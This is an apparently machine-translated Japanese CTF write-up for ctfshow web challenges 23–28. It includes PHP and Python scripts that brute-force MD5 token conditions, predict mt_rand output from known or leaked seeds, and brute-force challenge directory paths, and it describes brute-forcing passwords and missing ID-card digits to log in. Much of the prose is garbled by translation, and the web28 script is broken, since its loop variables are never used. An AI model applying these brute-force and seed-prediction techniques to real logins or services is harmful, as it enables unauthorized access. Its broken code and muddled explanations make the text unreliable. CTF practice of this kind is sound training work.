web23
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 11:43:51
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
ソースコードはこのようなもので、ここで与えられたスクリプトを爆破することがわかりました
<?php
error_reporting(0);
$str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
echo strlen($str);
for ($i = 0;$i < 62;$i++){
for ($j = 0;$j < 62;$j++){
$flag = $str[$i].$str[$j];
$token = md5($flag);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}
}
?>
Pythonスクリプト
import hashlib
dic = '0123456789qazwsxedcrfvtgbyhnujmikolp'
# md5 = hashlib.md5(dic).hexdigest()
for a in dic:
for b in dic:
t = str(a)+str(b)
t = t.encode(encoding='utf-8')
md5 = hashlib.md5(t).hexdigest()
if md5[1:2] == md5[14:15] and md5[14:15]== md5[17:18]:
print(t)
print(md5)
print(md5[1:2])
print(md5[14:15])
print(md5[17:18])
ここにZEと3jの2つの答えがあります
web24
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
ここで、擬似乱数の
知識ポイントは:PHP 4.2.0から始まり、乱数生成器が自動的ので、そこに種付けが必要とされていないので、この機能を使用する必要がなく、シードパラメータが設定されている場合、乱数、播種します生成されるのは疑似乱数です。毎回生成される乱数は同じです。
PHPスクリプトを書く
<?php
mt_srand(372619038);
echo mt_rand();
?>
実行して1155388967
を取得し、getパラメーターを介してフラグを取得します
web25
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
参照記事
php脆弱性疑似乱数
シードクラッカーダウンロード
ウォッチプログラムは、生成されたパラメーターからマイナス()を渡して次の決定を入力するために0に等しいmt_randを渡すことができるため、mt_rand()を爆破する必要があります。
WEB26
burpはパケットをキャプチャし、パスワードをブラストします。
web27
ここにダウンロードされたファイルがあり、IDカードがあるのに、8桁の数字が欠落していることがわかりました。ここで、それを爆破できます。
IDカード621022199002015237を入手します。
次にhttps://www.bt.cn/tools/unicode.htmlにアクセスして、エスケープしてログインします。
web28
番号を変更すると思われる2.txtを参照してください。変更後、URLが変更されて0101が追加されました。アクセスが行われないため、バーストディレクトリ、ブルートディレクトリ/ 0-100 / 0-100 /パケットを返すことを選択しました。
2.txtを削除しないとエコーが発生しないので、ブラストするときは忘れずに2.txtを削除してください。ここでげっぷをテストしたところ、ブラストしても数がわかりにくいことがわかったので、直接Pythonスクリプトを使用します。
import requests
for i in range(0,100):
for j in range(0,100):
payload = f"http://063829fe-41fe-4d08-9fd5-1f023a475b75.challenge.ctf.show:8080/72/20/"
result = requests.get(payload)
if "ctfshow" in result.text:
print(result.text)
exit()
旗はすぐに出ました。